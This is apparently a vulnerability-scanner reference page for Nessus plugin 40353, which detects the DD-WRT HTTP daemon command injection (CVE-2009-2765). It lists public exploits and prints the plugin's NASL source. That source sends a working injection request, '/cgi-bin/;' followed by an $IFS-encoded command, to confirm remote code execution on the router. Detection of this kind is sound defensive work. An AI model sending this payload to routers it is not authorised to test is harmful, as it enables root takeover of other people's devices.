DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution - Nessus

High   Plugin ID: 40353

This page contains detailed information about the DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 40353
Name: DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution
Filename: ddwrt_cgibin_cmd_exec.nasl
Vulnerability Published: 2009-07-20
This Plugin Published: 2009-07-23
Last Modification Time: 2018-11-15
Plugin Version: 1.20
Plugin Type: remote
Plugin Family: Web Servers
Dependencies: http_version.nasl

Vulnerability Information


Severity: High
Vulnerability Published: 2009-07-20
Patch Published: N/A
CVE [?]: CVE-2009-2765
CPE [?]: N/A

Synopsis

An attacker can execute arbitrary code on the remote router.

Description

The remote web server is vulnerable to a command injection attack that may allow an attacker to execute arbitrary commands on the remote server (usually with root privileges). An attacker can exploit this flaw to take complete ownership of the remote device.

Solution

Unknown at this time.

Public Exploits


Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution vulnerability:

  1. Metasploit: exploit/linux/http/ddwrt_cgibin_exec
    [DD-WRT HTTP Daemon Arbitrary Command Execution]
  2. Exploit-DB: exploits/hardware/remote/9209.txt
    [EDB-9209: DD-WRT HTTPd Daemon/Service - Remote Command Execution]
  3. Exploit-DB: exploits/linux/remote/10030.rb
    [EDB-10030: DD-WRT HTTP v24-SP1 - Command Injection]
  4. Exploit-DB: exploits/cgi/webapps/16856.rb
    [EDB-16856: DD-WRT HTTPd Daemon/Service - Arbitrary Command Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:A/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:8.3 (High)
Impact Subscore:10.0
Exploitability Subscore:6.5
CVSS Temporal Score:6.9 (Medium)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:6.9 (Medium)

Go back to menu.

Plugin Source


This is the ddwrt_cgibin_cmd_exec.nasl nessus plugin source code. This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.

#
# (C) Tenable Network Security, Inc.
#


include("compat.inc");


if(description)
{
  script_id(40353);
  script_version("1.20");

  script_cve_id("CVE-2009-2765");
  script_bugtraq_id(35742);
  script_xref(name:"EDB-ID", value:"9209");

  script_name(english:"DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution");
  script_summary(english:"Tries to execute a command");
 
  script_set_attribute(
    attribute:"synopsis",
    value:"An attacker can execute arbitrary code on the remote router."
  );
  script_set_attribute( attribute:"description", value:
"The remote web server is vulnerable to a command injection attack that 
may allow an attacker to execute arbitrary commands on the remote server
(usually with root privileges).
An attacker can exploit this flaw to take complete ownership of the 
remote device."  );
  script_set_attribute(
    attribute:"see_also", 
    value:"http://www.dd-wrt.com/dd-wrtv3/index.php"
  );
  script_set_attribute(
    attribute:"see_also", 
    value:"https://forum.dd-wrt.com/phpBB2/viewtopic.php?t=55173"
  );
  script_set_attribute(
    attribute:"solution", 
    value:"Unknown at this time."
  );
  script_set_cvss_base_vector("CVSS2#AV:A/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
 script_set_attribute(attribute:"metasploit_name", value:'DD-WRT HTTP Daemon Arbitrary Command Execution');
 script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
 script_cwe_id(20);
  script_set_attribute(
    attribute:"vuln_publication_date", 
    value:"2009/07/20"
  );
  script_set_attribute(
    attribute:"plugin_publication_date", 
    value:"2009/07/23"
  );
 script_cvs_date("Date: 2018/11/15 20:50:25");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Web Servers");

  script_copyright(english:"This script is Copyright (C) 2009-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencie("http_version.nasl");
  script_require_ports("Services/www", 80);

  exit(0);
}


include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, embedded:TRUE);

file = http_get_cache(port:port, item:"/", exit_on_fail: 1);
if (
  "http://www.dd-wrt.com/" >!< file &&
  ">DD-WRT Control Panel<" >!< file
) exit(0, "DD-WRT is not running on the remote host.");


cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

enc_cmd = str_replace(find:" ", replace:"$IFS", string:cmd);
enc_cmd = urlencode(
  str        : enc_cmd,
  unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!~*'()-]/=;$"
);


# nb: don't use the HTTP API here as the remote server will not 
#     answer with a valid HTTP reply.
for (fd=5; fd<=7; fd++)
{
  soc = open_sock_tcp(port);
  if (!soc) exit(1, "Could not re-connect to the remote server.");

  req = string(
    'GET /cgi-bin/;', enc_cmd, '>&', fd, ' HTTP/1.0\r\n',
    '\r\n'
  );
  send(socket:soc, data:req);
  res = recv(socket:soc, length:4096);
  if (res && egrep(pattern:cmd_pat, string:res))
  {
    if (report_verbosity > 0)
    {
      report = string(
        "\n",
        "Nessus was able to execute the command '", cmd, "' on the remote \n",
        "host using the following request :\n",
        "\n",
        crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
        req,
        crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
      );
      if (report_verbosity > 1)
      {
        output = res - strstr(res, "HTTP/1.0 401 Unauthorized");
        report = string(
          report,
          "\n",
          "It produced the following output :\n",
          "\n",
          crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n",
          data_protection::sanitize_uid(output:output),
          crap(data:"-", length:30), " snip ", crap(data:"-", length:30), "\n"
        );
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    exit(0);
  }
}
exit(0, 'The host is not vulnerable.');

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/ddwrt_cgibin_cmd_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\ddwrt_cgibin_cmd_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/ddwrt_cgibin_cmd_exec.nasl

Go back to menu.

How to Run


Here is how to run the DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Web Servers plugin family.
  6. On the right side table select DD-WRT HTTP Daemon Metacharacter Injection Remote Code Execution plugin ID 40353.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl ddwrt_cgibin_cmd_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a ddwrt_cgibin_cmd_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - ddwrt_cgibin_cmd_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state ddwrt_cgibin_cmd_exec.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: CWE | Common Weakness Enumeration:
  • CWE-20 (Weakness) Improper Input Validation
See also: Similar and related Nessus plugins:
  • 80304 - Allegro RomPager HTTP Cookie Management Remote Code Execution Vulnerability (Misfortune Cookie)
  • 80228 - Allegro RomPager HTTP Cookie Management Remote Code Execution Vulnerability (Misfortune Cookie)
  • 156164 - Apache Log4Shell CVE-2021-45046 Bypass Remote Code Execution
  • 148239 - Apache OFBiz Remote Code Execution (CVE-2021-26295)
  • 146861 - Liferay Portal Remote Code Execution (direct check)
  • 142137 - Nostromo < 1.9.7 Remote Code Execution
  • 136770 - Apache Tomcat 7.0.0 < 7.0.104 Remote Code Execution
  • 124064 - Apache Tomcat 7.0.0 < 7.0.94 Remote Code Execution Vulnerability (Windows)
  • 124063 - Apache Tomcat 8.5.0 < 8.5.40 Remote Code Execution Vulnerability (Windows)
  • 136807 - Apache Tomcat 8.5.x < 8.5.55 Remote Code Execution
  • 124058 - Apache Tomcat 9.0.0.M1 < 9.0.19 Remote Code Execution Vulnerability (Windows)
  • 136806 - Apache Tomcat 9.0.0 < 9.0.35 Remote Code Execution
  • 105484 - Oracle WebLogic WSAT Remote Code Execution
  • 124338 - Oracle WebLogic WLS9-async Remote Code Execution (remote check)
  • 133270 - IBM WebSphere Application Server 7.0.0.x <= 7.0.0.45 / 8.0.0.x <= 8.0.0.15 / 8.5.x < 8.5.5.15 / 9.0.0.x < 9.0.0.10 Remote Code Execution (CVE-2018-1567)
  • 125630 - IBM WebSphere Application Server Virtual Enterprise 7.0.x / Network Deployment 8.5.x < 8.5.5.16 / Network Deployment 9.0.0.x <= 9.0.0.11 Remote Code Execution Vulnerability (CVE-2019-4279)
  • 137398 - IBM WebSphere Application Server 7.0.0.x <= 7.0.0.45 / 8.0.0.x <= 8.0.0.15 / 8.5.x < 8.5.5.18 / 9.0.x < 9.0.5.4 Remote Code Execution (CVE-2020-4448)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file ddwrt_cgibin_cmd_exec.nasl version 1.20. For more plugins, visit the Nessus Plugin Library.

Go back to menu.